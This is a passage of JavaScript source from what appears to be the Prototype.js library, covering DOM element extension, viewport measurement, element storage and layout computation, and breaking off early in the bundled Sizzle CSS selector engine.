    element.insertBefore(node, element.firstChild);
  },
  bottom: function(element, node) {
    element.appendChild(node);
  },
  after: function(element, node) {
    element.parentNode.insertBefore(node, element.nextSibling);
  },
  tags: {
    TABLE:  ['<table>',                '</table>',                   1],
    TBODY:  ['<table><tbody>',         '</tbody></table>',           2],
    TR:     ['<table><tbody><tr>',     '</tr></tbody></table>',      3],
    TD:     ['<table><tbody><tr><td>', '</td></tr></tbody></table>', 4],
    SELECT: ['<select>',               '</select>',                  1]
  }
};

(function() {
  var tags = Element._insertionTranslations.tags;
  Object.extend(tags, {
    THEAD: tags.TBODY,
    TFOOT: tags.TBODY,
    TH:    tags.TD
  });
})();

Element.Methods.Simulated = {
  hasAttribute: function(element, attribute) {
    attribute = Element._attributeTranslations.has[attribute] || attribute;
    var node = $(element).getAttributeNode(attribute);
    return !!(node && node.specified);
  }
};

Element.Methods.ByTag = { };

Object.extend(Element, Element.Methods);

(function(div) {

  if (!Prototype.BrowserFeatures.ElementExtensions && div['__proto__']) {
    window.HTMLElement = { };
    window.HTMLElement.prototype = div['__proto__'];
    Prototype.BrowserFeatures.ElementExtensions = true;
  }

  div = null;

})(document.createElement('div'));

Element.extend = (function() {

  function checkDeficiency(tagName) {
    if (typeof window.Element != 'undefined') {
      var proto = window.Element.prototype;
      if (proto) {
        var id = '_' + (Math.random()+'').slice(2),
            el = document.createElement(tagName);
        proto[id] = 'x';
        var isBuggy = (el[id] !== 'x');
        delete proto[id];
        el = null;
        return isBuggy;
      }
    }
    return false;
  }

  function extendElementWith(element, methods) {
    for (var property in methods) {
      var value = methods[property];
      if (Object.isFunction(value) && !(property in element))
        element[property] = value.methodize();
    }
  }

  var HTMLOBJECTELEMENT_PROTOTYPE_BUGGY = checkDeficiency('object');

  if (Prototype.BrowserFeatures.SpecificElementExtensions) {
    if (HTMLOBJECTELEMENT_PROTOTYPE_BUGGY) {
      return function(element) {
        if (element && typeof element._extendedByPrototype == 'undefined') {
          var t = element.tagName;
          if (t && (/^(?:object|applet|embed)$/i.test(t))) {
            extendElementWith(element, Element.Methods);
            extendElementWith(element, Element.Methods.Simulated);
            extendElementWith(element, Element.Methods.ByTag[t.toUpperCase()]);
          }
        }
        return element;
      }
    }
    return Prototype.K;
  }

  var Methods = { }, ByTag = Element.Methods.ByTag;

  var extend = Object.extend(function(element) {
    if (!element || typeof element._extendedByPrototype != 'undefined' ||
        element.nodeType != 1 || element == window) return element;

    var methods = Object.clone(Methods),
        tagName = element.tagName.toUpperCase();

    if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]);

    extendElementWith(element, methods);

    element._extendedByPrototype = Prototype.emptyFunction;
    return element;

  }, {
    refresh: function() {
      if (!Prototype.BrowserFeatures.ElementExtensions) {
        Object.extend(Methods, Element.Methods);
        Object.extend(Methods, Element.Methods.Simulated);
      }
    }
  });

  extend.refresh();
  return extend;
})();

if (document.documentElement.hasAttribute) {
  Element.hasAttribute = function(element, attribute) {
    return element.hasAttribute(attribute);
  };
}
else {
  Element.hasAttribute = Element.Methods.Simulated.hasAttribute;
}

Element.addMethods = function(methods) {
  var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag;

  if (!methods) {
    Object.extend(Form, Form.Methods);
    Object.extend(Form.Element, Form.Element.Methods);
    Object.extend(Element.Methods.ByTag, {
      "FORM":     Object.clone(Form.Methods),
      "INPUT":    Object.clone(Form.Element.Methods),
      "SELECT":   Object.clone(Form.Element.Methods),
      "TEXTAREA": Object.clone(Form.Element.Methods),
      "BUTTON":   Object.clone(Form.Element.Methods)
    });
  }

  if (arguments.length == 2) {
    var tagName = methods;
    methods = arguments[1];
  }

  if (!tagName) Object.extend(Element.Methods, methods || { });
  else {
    if (Object.isArray(tagName)) tagName.each(extend);
    else extend(tagName);
  }

  function extend(tagName) {
    tagName = tagName.toUpperCase();
    if (!Element.Methods.ByTag[tagName])
      Element.Methods.ByTag[tagName] = { };
    Object.extend(Element.Methods.ByTag[tagName], methods);
  }

  function copy(methods, destination, onlyIfAbsent) {
    onlyIfAbsent = onlyIfAbsent || false;
    for (var property in methods) {
      var value = methods[property];
      if (!Object.isFunction(value)) continue;
      if (!onlyIfAbsent || !(property in destination))
        destination[property] = value.methodize();
    }
  }

  function findDOMClass(tagName) {
    var klass;
    var trans = {
      "OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph",
      "FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList",
      "DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading",
      "H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote",
      "INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION":
      "TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD":
      "TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR":
      "TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET":
      "FrameSet", "IFRAME": "IFrame"
    };
    if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element';
    if (window[klass]) return window[klass];
    klass = 'HTML' + tagName + 'Element';
    if (window[klass]) return window[klass];
    klass = 'HTML' + tagName.capitalize() + 'Element';
    if (window[klass]) return window[klass];

    var element = document.createElement(tagName),
        proto = element['__proto__'] || element.constructor.prototype;

    element = null;
    return proto;
  }

  var elementPrototype = window.HTMLElement ? HTMLElement.prototype :
   Element.prototype;

  if (F.ElementExtensions) {
    copy(Element.Methods, elementPrototype);
    copy(Element.Methods.Simulated, elementPrototype, true);
  }

  if (F.SpecificElementExtensions) {
    for (var tag in Element.Methods.ByTag) {
      var klass = findDOMClass(tag);
      if (Object.isUndefined(klass)) continue;
      copy(T[tag], klass.prototype);
    }
  }

  Object.extend(Element, Element.Methods);
  delete Element.ByTag;

  if (Element.extend.refresh) Element.extend.refresh();
  Element.cache = { };
};


document.viewport = {

  getDimensions: function() {
    return { width: this.getWidth(), height: this.getHeight() };
  },

  getScrollOffsets: function() {
    return Element._returnOffset(
      window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft,
      window.pageYOffset || document.documentElement.scrollTop  || document.body.scrollTop);
  }
};

(function(viewport) {
  var B = Prototype.Browser, doc = document, element, property = {};

  function getRootElement() {
    if (B.WebKit && !doc.evaluate)
      return document;

    if (B.Opera && window.parseFloat(window.opera.version()) < 9.5)
      return document.body;

    return document.documentElement;
  }

  function define(D) {
    if (!element) element = getRootElement();

    property[D] = 'client' + D;

    viewport['get' + D] = function() { return element[property[D]] };
    return viewport['get' + D]();
  }

  viewport.getWidth  = define.curry('Width');

  viewport.getHeight = define.curry('Height');
})(document.viewport);


Element.Storage = {
  UID: 1
};

Element.addMethods({
  getStorage: function(element) {
    if (!(element = $(element))) return;

    var uid;
    if (element === window) {
      uid = 0;
    } else {
      if (typeof element._prototypeUID === "undefined")
        element._prototypeUID = Element.Storage.UID++;
      uid = element._prototypeUID;
    }

    if (!Element.Storage[uid])
      Element.Storage[uid] = $H();

    return Element.Storage[uid];
  },

  store: function(element, key, value) {
    if (!(element = $(element))) return;

    if (arguments.length === 2) {
      Element.getStorage(element).update(key);
    } else {
      Element.getStorage(element).set(key, value);
    }

    return element;
  },

  retrieve: function(element, key, defaultValue) {
    if (!(element = $(element))) return;
    var hash = Element.getStorage(element), value = hash.get(key);

    if (Object.isUndefined(value)) {
      hash.set(key, defaultValue);
      value = defaultValue;
    }

    return value;
  },

  clone: function(element, deep) {
    if (!(element = $(element))) return;
    var clone = element.cloneNode(deep);
    clone._prototypeUID = void 0;
    if (deep) {
      var descendants = Element.select(clone, '*'),
          i = descendants.length;
      while (i--) {
        descendants[i]._prototypeUID = void 0;
      }
    }
    return Element.extend(clone);
  },

  purge: function(element) {
    if (!(element = $(element))) return;
    var purgeElement = Element._purgeElement;

    purgeElement(element);

    var descendants = element.getElementsByTagName('*'),
     i = descendants.length;

    while (i--) purgeElement(descendants[i]);

    return null;
  }
});

(function() {

  function toDecimal(pctString) {
    var match = pctString.match(/^(\d+)%?$/i);
    if (!match) return null;
    return (Number(match[1]) / 100);
  }

  function getPixelValue(value, property, context) {
    var element = null;
    if (Object.isElement(value)) {
      element = value;
      value = element.getStyle(property);
    }

    if (value === null) {
      return null;
    }

    if ((/^(?:-)?\d+(\.\d+)?(px)?$/i).test(value)) {
      return window.parseFloat(value);
    }

    var isPercentage = value.include('%'), isViewport = (context === document.viewport);

    if (/\d/.test(value) && element && element.runtimeStyle && !(isPercentage && isViewport)) {
      var style = element.style.left, rStyle = element.runtimeStyle.left;
      element.runtimeStyle.left = element.currentStyle.left;
      element.style.left = value || 0;
      value = element.style.pixelLeft;
      element.style.left = style;
      element.runtimeStyle.left = rStyle;

      return value;
    }

    if (element && isPercentage) {
      context = context || element.parentNode;
      var decimal = toDecimal(value);
      var whole = null;
      var position = element.getStyle('position');

      var isHorizontal = property.include('left') || property.include('right') ||
       property.include('width');

      var isVertical =  property.include('top') || property.include('bottom') ||
        property.include('height');

      if (context === document.viewport) {
        if (isHorizontal) {
          whole = document.viewport.getWidth();
        } else if (isVertical) {
          whole = document.viewport.getHeight();
        }
      } else {
        if (isHorizontal) {
          whole = $(context).measure('width');
        } else if (isVertical) {
          whole = $(context).measure('height');
        }
      }

      return (whole === null) ? 0 : whole * decimal;
    }

    return 0;
  }

  function toCSSPixels(number) {
    if (Object.isString(number) && number.endsWith('px')) {
      return number;
    }
    return number + 'px';
  }

  function isDisplayed(element) {
    var originalElement = element;
    while (element && element.parentNode) {
      var display = element.getStyle('display');
      if (display === 'none') {
        return false;
      }
      element = $(element.parentNode);
    }
    return true;
  }

  var hasLayout = Prototype.K;
  if ('currentStyle' in document.documentElement) {
    hasLayout = function(element) {
      if (!element.currentStyle.hasLayout) {
        element.style.zoom = 1;
      }
      return element;
    };
  }

  function cssNameFor(key) {
    if (key.include('border')) key = key + '-width';
    return key.camelize();
  }

  Element.Layout = Class.create(Hash, {
    initialize: function($super, element, preCompute) {
      $super();
      this.element = $(element);

      Element.Layout.PROPERTIES.each( function(property) {
        this._set(property, null);
      }, this);

      if (preCompute) {
        this._preComputing = true;
        this._begin();
        Element.Layout.PROPERTIES.each( this._compute, this );
        this._end();
        this._preComputing = false;
      }
    },

    _set: function(property, value) {
      return Hash.prototype.set.call(this, property, value);
    },

    set: function(property, value) {
      throw "Properties of Element.Layout are read-only.";
    },

    get: function($super, property) {
      var value = $super(property);
      return value === null ? this._compute(property) : value;
    },

    _begin: function() {
      if (this._prepared) return;

      var element = this.element;
      if (isDisplayed(element)) {
        this._prepared = true;
        return;
      }

      var originalStyles = {
        position:   element.style.position   || '',
        width:      element.style.width      || '',
        visibility: element.style.visibility || '',
        display:    element.style.display    || ''
      };

      element.store('prototype_original_styles', originalStyles);

      var position = element.getStyle('position'),
       width = element.getStyle('width');

      if (width === "0px" || width === null) {
        element.style.display = 'block';
        width = element.getStyle('width');
      }

      var context = (position === 'fixed') ? document.viewport :
       element.parentNode;

      element.setStyle({
        position:   'absolute',
        visibility: 'hidden',
        display:    'block'
      });

      var positionedWidth = element.getStyle('width');

      var newWidth;
      if (width && (positionedWidth === width)) {
        newWidth = getPixelValue(element, 'width', context);
      } else if (position === 'absolute' || position === 'fixed') {
        newWidth = getPixelValue(element, 'width', context);
      } else {
        var parent = element.parentNode, pLayout = $(parent).getLayout();

        newWidth = pLayout.get('width') -
         this.get('margin-left') -
         this.get('border-left') -
         this.get('padding-left') -
         this.get('padding-right') -
         this.get('border-right') -
         this.get('margin-right');
      }

      element.setStyle({ width: newWidth + 'px' });

      this._prepared = true;
    },

    _end: function() {
      var element = this.element;
      var originalStyles = element.retrieve('prototype_original_styles');
      element.store('prototype_original_styles', null);
      element.setStyle(originalStyles);
      this._prepared = false;
    },

    _compute: function(property) {
      var COMPUTATIONS = Element.Layout.COMPUTATIONS;
      if (!(property in COMPUTATIONS)) {
        throw "Property not found.";
      }

      return this._set(property, COMPUTATIONS[property].call(this, this.element));
    },

    toObject: function() {
      var args = $A(arguments);
      var keys = (args.length === 0) ? Element.Layout.PROPERTIES :
       args.join(' ').split(' ');
      var obj = {};
      keys.each( function(key) {
        if (!Element.Layout.PROPERTIES.include(key)) return;
        var value = this.get(key);
        if (value != null) obj[key] = value;
      }, this);
      return obj;
    },

    toHash: function() {
      var obj = this.toObject.apply(this, arguments);
      return new Hash(obj);
    },

    toCSS: function() {
      var args = $A(arguments);
      var keys = (args.length === 0) ? Element.Layout.PROPERTIES :
       args.join(' ').split(' ');
      var css = {};

      keys.each( function(key) {
        if (!Element.Layout.PROPERTIES.include(key)) return;
        if (Element.Layout.COMPOSITE_PROPERTIES.include(key)) return;

        var value = this.get(key);
        if (value != null) css[cssNameFor(key)] = value + 'px';
      }, this);
      return css;
    },

    inspect: function() {
      return "#<Element.Layout>";
    }
  });

  Object.extend(Element.Layout, {
    PROPERTIES: $w('height width top left right bottom border-left border-right border-top border-bottom padding-left padding-right padding-top padding-bottom margin-top margin-bottom margin-left margin-right padding-box-width padding-box-height border-box-width border-box-height margin-box-width margin-box-height'),

    COMPOSITE_PROPERTIES: $w('padding-box-width padding-box-height margin-box-width margin-box-height border-box-width border-box-height'),

    COMPUTATIONS: {
      'height': function(element) {
        if (!this._preComputing) this._begin();

        var bHeight = this.get('border-box-height');
        if (bHeight <= 0) {
          if (!this._preComputing) this._end();
          return 0;
        }

        var bTop = this.get('border-top'),
         bBottom = this.get('border-bottom');

        var pTop = this.get('padding-top'),
         pBottom = this.get('padding-bottom');

        if (!this._preComputing) this._end();

        return bHeight - bTop - bBottom - pTop - pBottom;
      },

      'width': function(element) {
        if (!this._preComputing) this._begin();

        var bWidth = this.get('border-box-width');
        if (bWidth <= 0) {
          if (!this._preComputing) this._end();
          return 0;
        }

        var bLeft = this.get('border-left'),
         bRight = this.get('border-right');

        var pLeft = this.get('padding-left'),
         pRight = this.get('padding-right');

        if (!this._preComputing) this._end();

        return bWidth - bLeft - bRight - pLeft - pRight;
      },

      'padding-box-height': function(element) {
        var height = this.get('height'),
         pTop = this.get('padding-top'),
         pBottom = this.get('padding-bottom');

        return height + pTop + pBottom;
      },

      'padding-box-width': function(element) {
        var width = this.get('width'),
         pLeft = this.get('padding-left'),
         pRight = this.get('padding-right');

        return width + pLeft + pRight;
      },

      'border-box-height': function(element) {
        if (!this._preComputing) this._begin();
        var height = element.offsetHeight;
        if (!this._preComputing) this._end();
        return height;
      },

      'border-box-width': function(element) {
        if (!this._preComputing) this._begin();
        var width = element.offsetWidth;
        if (!this._preComputing) this._end();
        return width;
      },

      'margin-box-height': function(element) {
        var bHeight = this.get('border-box-height'),
         mTop = this.get('margin-top'),
         mBottom = this.get('margin-bottom');

        if (bHeight <= 0) return 0;

        return bHeight + mTop + mBottom;
      },

      'margin-box-width': function(element) {
        var bWidth = this.get('border-box-width'),
         mLeft = this.get('margin-left'),
         mRight = this.get('margin-right');

        if (bWidth <= 0) return 0;

        return bWidth + mLeft + mRight;
      },

      'top': function(element) {
        var offset = element.positionedOffset();
        return offset.top;
      },

      'bottom': function(element) {
        var offset = element.positionedOffset(),
         parent = element.getOffsetParent(),
         pHeight = parent.measure('height');

        var mHeight = this.get('border-box-height');

        return pHeight - mHeight - offset.top;
      },

      'left': function(element) {
        var offset = element.positionedOffset();
        return offset.left;
      },

      'right': function(element) {
        var offset = element.positionedOffset(),
         parent = element.getOffsetParent(),
         pWidth = parent.measure('width');

        var mWidth = this.get('border-box-width');

        return pWidth - mWidth - offset.left;
      },

      'padding-top': function(element) {
        return getPixelValue(element, 'paddingTop');
      },

      'padding-bottom': function(element) {
        return getPixelValue(element, 'paddingBottom');
      },

      'padding-left': function(element) {
        return getPixelValue(element, 'paddingLeft');
      },

      'padding-right': function(element) {
        return getPixelValue(element, 'paddingRight');
      },

      'border-top': function(element) {
        return getPixelValue(element, 'borderTopWidth');
      },

      'border-bottom': function(element) {
        return getPixelValue(element, 'borderBottomWidth');
      },

      'border-left': function(element) {
        return getPixelValue(element, 'borderLeftWidth');
      },

      'border-right': function(element) {
        return getPixelValue(element, 'borderRightWidth');
      },

      'margin-top': function(element) {
        return getPixelValue(element, 'marginTop');
      },

      'margin-bottom': function(element) {
        return getPixelValue(element, 'marginBottom');
      },

      'margin-left': function(element) {
        return getPixelValue(element, 'marginLeft');
      },

      'margin-right': function(element) {
        return getPixelValue(element, 'marginRight');
      }
    }
  });

  if ('getBoundingClientRect' in document.documentElement) {
    Object.extend(Element.Layout.COMPUTATIONS, {
      'right': function(element) {
        var parent = hasLayout(element.getOffsetParent());
        var rect = element.getBoundingClientRect(),
         pRect = parent.getBoundingClientRect();

        return (pRect.right - rect.right).round();
      },

      'bottom': function(element) {
        var parent = hasLayout(element.getOffsetParent());
        var rect = element.getBoundingClientRect(),
         pRect = parent.getBoundingClientRect();

        return (pRect.bottom - rect.bottom).round();
      }
    });
  }

  Element.Offset = Class.create({
    initialize: function(left, top) {
      this.left = left.round();
      this.top  = top.round();

      this[0] = this.left;
      this[1] = this.top;
    },

    relativeTo: function(offset) {
      return new Element.Offset(
        this.left - offset.left,
        this.top  - offset.top
      );
    },

    inspect: function() {
      return "#<Element.Offset left: #{left} top: #{top}>".interpolate(this);
    },

    toString: function() {
      return "[#{left}, #{top}]".interpolate(this);
    },

    toArray: function() {
      return [this.left, this.top];
    }
  });

  function getLayout(element, preCompute) {
    return new Element.Layout(element, preCompute);
  }

  function measure(element, property) {
    return $(element).getLayout().get(property);
  }

  function getDimensions(element) {
    element = $(element);
    var display = Element.getStyle(element, 'display');

    if (display && display !== 'none') {
      return { width: element.offsetWidth, height: element.offsetHeight };
    }

    var style = element.style;
    var originalStyles = {
      visibility: style.visibility,
      position:   style.position,
      display:    style.display
    };

    var newStyles = {
      visibility: 'hidden',
      display:    'block'
    };

    if (originalStyles.position !== 'fixed')
      newStyles.position = 'absolute';

    Element.setStyle(element, newStyles);

    var dimensions = {
      width:  element.offsetWidth,
      height: element.offsetHeight
    };

    Element.setStyle(element, originalStyles);

    return dimensions;
  }

  function getOffsetParent(element) {
    element = $(element);

    if (isDocument(element) || isDetached(element) || isBody(element) || isHtml(element))
      return $(document.body);

    var isInline = (Element.getStyle(element, 'display') === 'inline');
    if (!isInline && element.offsetParent) return $(element.offsetParent);

    while ((element = element.parentNode) && element !== document.body) {
      if (Element.getStyle(element, 'position') !== 'static') {
        return isHtml(element) ? $(document.body) : $(element);
      }
    }

    return $(document.body);
  }


  function cumulativeOffset(element) {
    element = $(element);
    var valueT = 0, valueL = 0;
    if (element.parentNode) {
      do {
        valueT += element.offsetTop  || 0;
        valueL += element.offsetLeft || 0;
        element = element.offsetParent;
      } while (element);
    }
    return new Element.Offset(valueL, valueT);
  }

  function positionedOffset(element) {
    element = $(element);

    var layout = element.getLayout();

    var valueT = 0, valueL = 0;
    do {
      valueT += element.offsetTop  || 0;
      valueL += element.offsetLeft || 0;
      element = element.offsetParent;
      if (element) {
        if (isBody(element)) break;
        var p = Element.getStyle(element, 'position');
        if (p !== 'static') break;
      }
    } while (element);

    valueL -= layout.get('margin-top');
    valueT -= layout.get('margin-left');

    return new Element.Offset(valueL, valueT);
  }

  function cumulativeScrollOffset(element) {
    var valueT = 0, valueL = 0;
    do {
      valueT += element.scrollTop  || 0;
      valueL += element.scrollLeft || 0;
      element = element.parentNode;
    } while (element);
    return new Element.Offset(valueL, valueT);
  }

  function viewportOffset(forElement) {
    element = $(element);
    var valueT = 0, valueL = 0, docBody = document.body;

    var element = forElement;
    do {
      valueT += element.offsetTop  || 0;
      valueL += element.offsetLeft || 0;
      if (element.offsetParent == docBody &&
        Element.getStyle(element, 'position') == 'absolute') break;
    } while (element = element.offsetParent);

    element = forElement;
    do {
      if (element != docBody) {
        valueT -= element.scrollTop  || 0;
        valueL -= element.scrollLeft || 0;
      }
    } while (element = element.parentNode);
    return new Element.Offset(valueL, valueT);
  }

  function absolutize(element) {
    element = $(element);

    if (Element.getStyle(element, 'position') === 'absolute') {
      return element;
    }

    var offsetParent = getOffsetParent(element);
    var eOffset = element.viewportOffset(),
     pOffset = offsetParent.viewportOffset();

    var offset = eOffset.relativeTo(pOffset);
    var layout = element.getLayout();

    element.store('prototype_absolutize_original_styles', {
      left:   element.getStyle('left'),
      top:    element.getStyle('top'),
      width:  element.getStyle('width'),
      height: element.getStyle('height')
    });

    element.setStyle({
      position: 'absolute',
      top:    offset.top + 'px',
      left:   offset.left + 'px',
      width:  layout.get('width') + 'px',
      height: layout.get('height') + 'px'
    });

    return element;
  }

  function relativize(element) {
    element = $(element);
    if (Element.getStyle(element, 'position') === 'relative') {
      return element;
    }

    var originalStyles =
     element.retrieve('prototype_absolutize_original_styles');

    if (originalStyles) element.setStyle(originalStyles);
    return element;
  }

  if (Prototype.Browser.IE) {
    getOffsetParent = getOffsetParent.wrap(
      function(proceed, element) {
        element = $(element);

        if (isDocument(element) || isDetached(element) || isBody(element) || isHtml(element))
          return $(document.body);

        var position = element.getStyle('position');
        if (position !== 'static') return proceed(element);

        element.setStyle({ position: 'relative' });
        var value = proceed(element);
        element.setStyle({ position: position });
        return value;
      }
    );

    positionedOffset = positionedOffset.wrap(function(proceed, element) {
      element = $(element);
      if (!element.parentNode) return new Element.Offset(0, 0);
      var position = element.getStyle('position');
      if (position !== 'static') return proceed(element);

      var offsetParent = element.getOffsetParent();
      if (offsetParent && offsetParent.getStyle('position') === 'fixed')
        hasLayout(offsetParent);

      element.setStyle({ position: 'relative' });
      var value = proceed(element);
      element.setStyle({ position: position });
      return value;
    });
  } else if (Prototype.Browser.Webkit) {
    cumulativeOffset = function(element) {
      element = $(element);
      var valueT = 0, valueL = 0;
      do {
        valueT += element.offsetTop  || 0;
        valueL += element.offsetLeft || 0;
        if (element.offsetParent == document.body)
          if (Element.getStyle(element, 'position') == 'absolute') break;

        element = element.offsetParent;
      } while (element);

      return new Element.Offset(valueL, valueT);
    };
  }


  Element.addMethods({
    getLayout:              getLayout,
    measure:                measure,
    getDimensions:          getDimensions,
    getOffsetParent:        getOffsetParent,
    cumulativeOffset:       cumulativeOffset,
    positionedOffset:       positionedOffset,
    cumulativeScrollOffset: cumulativeScrollOffset,
    viewportOffset:         viewportOffset,
    absolutize:             absolutize,
    relativize:             relativize
  });

  function isBody(element) {
    return element.nodeName.toUpperCase() === 'BODY';
  }

  function isHtml(element) {
    return element.nodeName.toUpperCase() === 'HTML';
  }

  function isDocument(element) {
    return element.nodeType === Node.DOCUMENT_NODE;
  }

  function isDetached(element) {
    return element !== document.body &&
     !Element.descendantOf(element, document.body);
  }

  if ('getBoundingClientRect' in document.documentElement) {
    Element.addMethods({
      viewportOffset: function(element) {
        element = $(element);
        if (isDetached(element)) return new Element.Offset(0, 0);

        var rect = element.getBoundingClientRect(),
         docEl = document.documentElement;
        return new Element.Offset(rect.left - docEl.clientLeft,
         rect.top - docEl.clientTop);
      }
    });
  }
})();
window.$$ = function() {
  var expression = $A(arguments).join(', ');
  return Prototype.Selector.select(expression, document);
};

Prototype.Selector = (function() {

  function select() {
    throw new Error('Method "Prototype.Selector.select" must be defined.');
  }

  function match() {
    throw new Error('Method "Prototype.Selector.match" must be defined.');
  }

  function find(elements, expression, index) {
    index = index || 0;
    var match = Prototype.Selector.match, length = elements.length, matchIndex = 0, i;

    for (i = 0; i < length; i++) {
      if (match(elements[i], expression) && index == matchIndex++) {
        return Element.extend(elements[i]);
      }
    }
  }

  function extendElements(elements) {
    for (var i = 0, length = elements.length; i < length; i++) {
      Element.extend(elements[i]);
    }
    return elements;
  }


  var K = Prototype.K;

  return {
    select: select,
    match: match,
    find: find,
    extendElements: (Element.extend === K) ? K : extendElements,
    extendElement: Element.extend
  };
})();
Prototype._original_property = window.Sizzle;
/*!
 * Sizzle CSS Selector Engine - v1.0
 *  Copyright 2009, The Dojo Foundation
 *  Released under the MIT, BSD, and GPL Licenses.
 *  More information: http://sizzlejs.com/
 */
(function(){

var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
	done = 0,
	toString = Object.prototype.toString,
	hasDuplicate = false,
	baseHasDuplicate = true;

[0, 0].sort(function(){
	baseHasDuplicate = false;
	return 0;
});

var Sizzle = function(selector, context, results, seed) {
	results = results || [];
	var origContext = context = context || document;

	if ( context.nodeType !== 1 && context.nodeType !== 9 ) {
		return [];
	}

	if ( !selector || typeof selector !== "string" ) {
		return results;
	}

	var parts = [], m, set, checkSet, check, mode, extra, prune = true, contextXML = isXML(context),
		soFar = selector;

	while ( (chunker.exec(""), m = chunker.exec(soFar)) !== null ) {
		soFar = m[3];

		parts.push( m[1] );

		if ( m[2] ) {
			extra = m[3];
			break;
		}
	}

	if ( parts.length > 1 && origPOS.exec( selector ) ) {
		if ( parts.length === 2 && Expr.relative[ parts[0] ] ) {
			set = posProcess( parts[0] + parts[1], context );
		} else {
			set = Expr.relative[ parts[0] ] ?
				[ context ] :
				Sizzle( parts.shift(), context );

			while ( parts.length ) {
				selector = parts.shift();

				if ( Expr.relative[ selector ] )
					selector += parts.shift();

				set = posProcess( selector, set );
			}
		}
	} else {
		if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&
				Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {
			var ret = Sizzle.find( parts.shift(), context, contextXML );
			context = ret.expr ? Sizzle.filter( ret.expr, ret.set )[0] : ret.set[0];
		}

		if ( context ) {
			var ret = seed ?
				{ expr: parts.pop(), set: makeArray(seed) } :
				Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML );
			set = ret.expr ? Sizzle.filter( ret.expr, ret.set ) : ret.set;

			if ( parts.length > 0 ) {
				checkSet = makeArray(set);
			} else {
				prune = false;
			}

			while ( parts.length ) {
				var cur = parts.pop(), pop = cur;

				if ( !Expr.relative[ cur ] ) {
					cur = "";
				} else {
					pop = parts.pop();
				}

				if ( pop == null ) {
					pop = context;
				}

				Expr.relative[ cur ]( checkSet, pop, contextXML );
			}
		} else {
			checkSet = parts = [];
		}
	}

	if ( !checkSet ) {
		checkSet = set;
	}

	if ( !checkSet ) {
		throw "Syntax error, unrecognized expression: " + (cur || selector);
	}

	if ( toString.call(checkSet) === "[object Array]" ) {
		if ( !prune ) {
			results.push.apply( results, checkSet );
		} else if ( context && context.nodeType === 1 ) {
			for ( var i = 0; checkSet[i] != null; i++ ) {
				if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && contains(context, checkSet[i])) ) {
					results.push( set[i] );
				}
			}
		} else {
			for ( var i = 0; checkSet[i] != null; i++ ) {
				if ( checkSet[i] && checkSet[i].nodeType === 1 ) {
					results.push( set[i] );
				}
			}
		}
	} else {
		makeArray( checkSet, results );
	}

	if ( extra ) {
		Sizzle( extra, origContext, results, seed );
		Sizzle.uniqueSort( results );
	}

	return results;
};

Sizzle.uniqueSort = function(results){
	if ( sortOrder ) {
		hasDuplicate = baseHasDuplicate;
		results.sort(sortOrder);

		if ( hasDuplicate ) {
			for ( var i = 1; i < results.length; i++ ) {
				if ( results[i] === results[i-1] ) {
					results.splice(i--, 1);
				}
			}
		}
	}

	return results;
};

Sizzle.matches = function(expr, set){
	return Sizzle(expr, null, null, set);
};

Sizzle.find = function(expr, context, isXML){
	var set, match;

	if ( !expr ) {
		return [];
	}

	for ( var i = 0, l = Expr.order.length; i < l; i++ ) {
		var type = Expr.order[i], match;

		if ( (match = Expr.leftMatch[ type ].exec( expr )) ) {
			var left = match[1];
			match.splice(1,1);

			if ( left.substr( left.length - 1 ) !== "\\" ) {
				match[1] = (match[1] || "").replace(/\\/g, "");
				set = Expr.find[ type ]( match, context, isXML );
				if ( set != null ) {
					expr = expr.replace( Expr.match[ type ], "" );
					break;
				}
			}
		}
	}

	if ( !set ) {
		set = context.getElementsByTagName("*");
	}

	return {set: set, expr: expr};
};

Sizzle.filter = function(expr, set, inplace, not){
	var old = expr, result = [], curLoop = set, match, anyFound,
		isXMLFilter = set && set[0] && isXML(set[0]);

	while ( expr && set.length ) {
		for ( var type in Expr.filter ) {
			if ( (match = Expr.match[ type ].exec( expr )) != null ) {
				var filter = Expr.filter[ type ], found, item;
				anyFound = false;

				if ( curLoop == result ) {
					result = [];
				}

				if ( Expr.preFilter[ type ] ) {
					match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );

					if ( !match ) {
						anyFound = found = true;
					} else if ( match === true ) {
						continue;
					}
				}

				if ( match ) {
					for ( var i = 0; (item = curLoop[i]) != null; i++ ) {
						if ( item ) {
							found = filter( item, match, i, curLoop );
							var pass = not ^ !!found;

							if ( inplace && found != null ) {
								if ( pass ) {
									anyFound = true;
								} else {
									curLoop[i] = false;
								}
							} else if ( pass ) {
								result.push( item );
								anyFound = true;
							}
						}
					}
				}

				if ( found !== undefined ) {
					if ( !inplace ) {
						curLoop = result;
					}

					expr = expr.replace( Expr.match[ type ], "" );

					if ( !anyFound ) {
						return [];
					}

					break;
				}
			}
		}

		if ( expr == old ) {
			if ( anyFound == null ) {
				throw "Syntax error, unrecognized expression: " + expr;
			} else {
				break;
			}
		}

		old = expr;
	}

	return curLoop;
};

var Expr = Sizzle.selectors = {
	order: [ "ID", "NAME", "TAG" ],
	match: {
		ID: /#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,
		CLASS: /\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,
		NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,
